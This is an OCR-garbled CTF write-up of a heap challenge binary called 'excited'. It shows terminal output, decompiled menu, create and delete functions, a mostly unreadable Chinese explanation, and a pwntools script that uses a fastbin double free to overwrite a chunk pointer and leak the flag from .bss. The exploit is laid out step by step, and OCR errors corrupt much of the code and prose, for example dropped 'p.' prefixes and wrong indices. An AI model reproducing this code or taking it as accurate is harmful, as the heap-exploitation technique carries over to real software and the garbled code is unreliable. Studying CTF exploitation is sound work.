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yc@ubuntu:~/CTF/ichunqiu$ file excited
excited: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamica
1ly linked, interpreter /lib64/1, for GNU/Linux 2.6.32, BuilldID[shal]=
e091f2bc09a19fd73b0549031fc9b03983dd1756, stripped
yc@ubuntu:~/CTF/ichunqiu$ checksec excited
[#] '/home/yc/CTF/ichungiu/excited’

Arch: amd64-64-1ittle

RELRO:

Stack:

NX:
PIE: https://blog.csdn.net/qg_4
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yc@ubuntu:~/CTF/ichunqiu$ . /excited
bash: ./excited: Permission denied
yc@ubuntu:~/CTF/ichunqiu$ 1s -1 excited

1 yc yc 10232 Feb 8 05:11 excited
yc@ubuntu:~/CTF/ichunqiu$ chmod +x excited

yc@ubuntu:~/CTF/ichungiu$ . /excited
Emmmmmm!Maybe you want Fool me!

BIAEFF 4T I /flag (R B % TFflag) X4
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lunsigned  int64 sub_480896()

2i{

3| FILE *stream; f/ [rsp+0h] [rbp-16h]

4] unsigned _ int64 v2; [/ [rsp+8h] [rbp-8h]
Iy

6] v2 = _ readfsqword(@x28u);

7| setbuf(stdin, OLL);

2| setbuf(stdout, @LL);

9| stream = fopen("/flag", "r");

Bl if ( !stream )

1 1

2 puts (" Emmmmmm!Maybe vou want Fool mel!™);
3 exit(0);

4}

5| byte 602040 = 96;

6| fgets(s, 45, stream);

7| return _ readfsqword(@x28u) ~ vZ;

8|}
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yc@ubuntu:~/CTF/ichunqiu$ touch /[flag

touch: cannot touch '/flag': Permission denied
yc@ubuntu:~/CTF/ichunqiu$ su root

Password:

root@ubuntu: /home/yc/CTF/1chungiu# touch /flag
root@ubuntu: /home/yc/CTF/1ichunqiu# gedit /flag
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" int v3; f/ [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

vd = _ readfsqword(@x28u);
v3 = @;

sub_408896(=21, a2, a23);
menu();

while ( 1)

{
printf("> Now please tell me what you want to do :")
_iso0c99_scanf("%d", &v3);
switch ( v3 )
{
case 1:
create();
break;
case 2:
nothing();
return;
case 3:
delete();
break;
case 4:
show();
break;
case 5:
exitl();
return;
default:
puts (" Emmmmmm!Maybe you want Fool mel!™);
exitl();
return;
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unsigned __ int6d delete()

int v1; // [rsp+4h] [rbp-Ch]
unsigned _ int6d v2; // [rsp+8h] [rbp-8h]

vZ2 = _ readfsqword(@x28u);
puts ("HHEHEE " )
puts("# Delete Banana #");

printf("> Banana ID : ");

_is0c99_scanf("%d", &v1);

if (vi<o || visa1e || lptr[vi] )

{
puts (" Emmmmmm!Maybe vou want Fool mel!™);
exitl();

}

free(*(void *F)ptr[vi]);

free(*((void *®)ptr[vl] + 1));

free(ptr{vli]);
puts("#--------------------- #");
puts("# ALL Down! #"3;

puts (" HHHEHHHEHHAAHHAEHHAEHHE )
return _ readfsgword(@x28u) *~ vZ;
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unsigned  int64 sub_400896()

{
FILE *stream; // [rsp+0h] [rbp-10h]

vZ2 = _ readfsqword(@x28u);
setbuf(stdin, @LL);
setbuf(stdout, QLL);

stream = fopen("/flag", "r");
if ( lstream )

{

exit(e);
¥
byte 6020A0 = 96;
fgets(s, 45, stream);
return _ readfsqword(®x28u) * v2;

.bss:0000REREREEE209F db
.b55:®@®@®@®@®@6@20A0|byte_ﬁ@Z@A@ \ db ?
.bss:00000000006020A1 align 8
.bss5:00000000006020A8 ; char s[64]
.bss:0000000OROER20A3 S db 40h dup(?)
.bss5:00000000006020A8 bss ends
.bss:00REROROROER20AS3

unsigned  int64 v2; // [rsp+8h] [rbp-8h]

?

puts (" Emmmmmm!Maybe you want Fool me!");
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mH, flagix BRIGFRABRMTE T —N KA RNOX60HIHR, FrARRAIMN 1ZF| FHdouble free B RIIX N, ARG
show () HyHBEpwES

Bg B (errord04f)ppt) :
1.8 % —Kfreefichunk1. chunk2. chunk1, &~chunkfk M5 80x50
2.5 \chunk1#fdFg 4t H0x6020A8 (flaghifr &)

3.%0x6020A84:4E M chunk i datat® 4 Bt i 5k (E AR unuseIfdfe &t EEinuse I i & s & datals, = EHNF
I®

4 F| F show ik £ T B[ i flag



//exp

#coding:utf-8

from pwn import *

import sys

p = process('./excited")
context.arch="amd64"
libc=ELF("./excited").libc

def new(sizel,contentl,size2,content2):
p.recvuntil('> Now please tell me what you want to do :')
.sendline('1")
.recvuntil('length : ')
.sendline(str(sizel))
.recvuntil('> ba : ")
.send(contentl)
.recvuntil('length : ')
.sendline(str(size2))
.recvuntil('> na : ")
.send(content2)
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def delete(idx):
p.recvuntil(' Now please tell me what you want to do :')
p.sendline('3")
p.recvuntil(' ID : ')
p.sendline(str(idx))

def show(idx):
p.recvuntil('ow please tell me what you want to do :')
p.sendline('4")
p.recvuntil('ID : ')
p.sendline(str(idx))

new(0x50, 'Chunk_1"',0x50, 'Chunk_2"')#0
new(0x50, 'Chunk_3"',0x50, 'Chunk_4"')#1
delete(9)

delete(1)

delete(9)
new(0x50,p64(0x602098),0x50, 'Chunk_2")#2
new(0x50, 'Chunk_3"',0x50, 'Chunk_4"')#3
new(0x50, 'f',0x60, '2" )#4

show(4)

p.interactive()

p.close()
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# ALL Down! create , "bbbb ")
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'> Now please tell me what you want to do :
] Sent O0x2 bytes:
"4\n'
1 Received 0x17 bytes:
! FEAE Dl T 0 0
1 Received 0x52 bytes: create p64 e ) ,p64(fake chunk))
'\n’ create n64 1 <) ,p64(fake chunk))
Delete Banana #\n' C 8] a')

'> Banana ID : > SCP project ID :
Sent 0x2 bytes:

"4\n'
Received 0xc3 bytes:

"# Banana's ba is a\n"

-l {a63dcdb9-& :

n "

"# Banana's na is a\n"
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